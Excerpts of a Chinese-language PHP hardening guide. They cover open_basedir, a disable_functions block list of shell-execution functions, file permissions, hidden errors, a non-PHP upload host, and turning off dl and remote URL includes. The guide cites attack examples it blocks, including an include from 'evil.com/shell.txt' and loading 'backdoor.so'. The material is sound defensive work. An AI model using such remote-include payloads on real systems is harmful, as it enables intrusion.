; php.ini 或 php-fpm pool.conf
[HOST=www.example.com]
open_basedir = /data/www/www.example.com/:/tmp/:/proc/
[HOST=api.example.com]
open_basedir = /data/www/api.example.com/:/tmp/:/proc/
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,proc_get_status,show_source,phpinfo,symlink,link,ld,dl,pcntl_exec,pcntl_fork,pcntl_signal,pcntl_alarm,pcntl_waitpid,pcntl_getpriority,pcntl_setpriority,imap_open,mb_send_mail,mail
# 目錄擁有者 root:wwwgroup, 權限 755
# 檔案擁有者 root:wwwgroup, 權限 644
# PHP-FPM 以 wwwuser:wwwgroup 運行 (非 root)
chown -R root:wwwgroup /data/www/www.example.com
find /data/www/www.example.com -type d -exec chmod 755 {} \;
find /data/www/www.example.com -type f -exec chmod 644 {} \;
# 唯寫入目錄 (上傳/快取/日誌) 給群組寫入權限
chmod -R 775 /data/www/www.example.com/runtime
chmod -R 775 /data/www/www.example.com/uploads
chown -R wwwuser:wwwgroup /data/www/www.example.com/runtime /data/www/www.example.com/uploads
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /var/log/php-fpm/error.log
error_reporting = E_ALL & ~E_DEPRECATED & ~E_STRICT
防止堆疊追蹤洩露路徑、資料庫憑證、程式邏輯。
# 業務站點 www.example.com (PHP-FPM)
# 靜態/上傳站點 static.example.com (純 Nginx, 無 PHP)
# 上傳流程:
# 1. 前端直傳 OSS/MinIO (預簽名 URL)
# 2. 或呼叫業務 API → 內部 RPC 寫入靜態站點目錄
# 3. 靜態站點配置:location / { add_header X-Content-Type-Options nosniff; } 禁止腳本執行
即使上傳繞過檢查,**靜態站點不解析 PHP,木馬無法執行**。
expose_php = Off
# Nginx 同步隱藏
fastcgi_hide_header X-Powered-By;
enable_dl = Off
防止 `dl('backdoor.so')` 載入惡意擴展。
allow_url_fopen = Off
allow_url_include = Off
阻斷 `include 'https://evil.com/shell.txt'`、SSRF 類攻擊。
php -i | grep -E 'open_basedir|disable_functions|expose_php|allow_url_fopen|display_errors'
# 預期輸出符合上述設定即生效
**安全是系統工程,而非單一配置項**;上述九策略層層疊加,構建「纵深防禦」體系,讓攻擊者在每一層都付出高昂代價仍無功而返。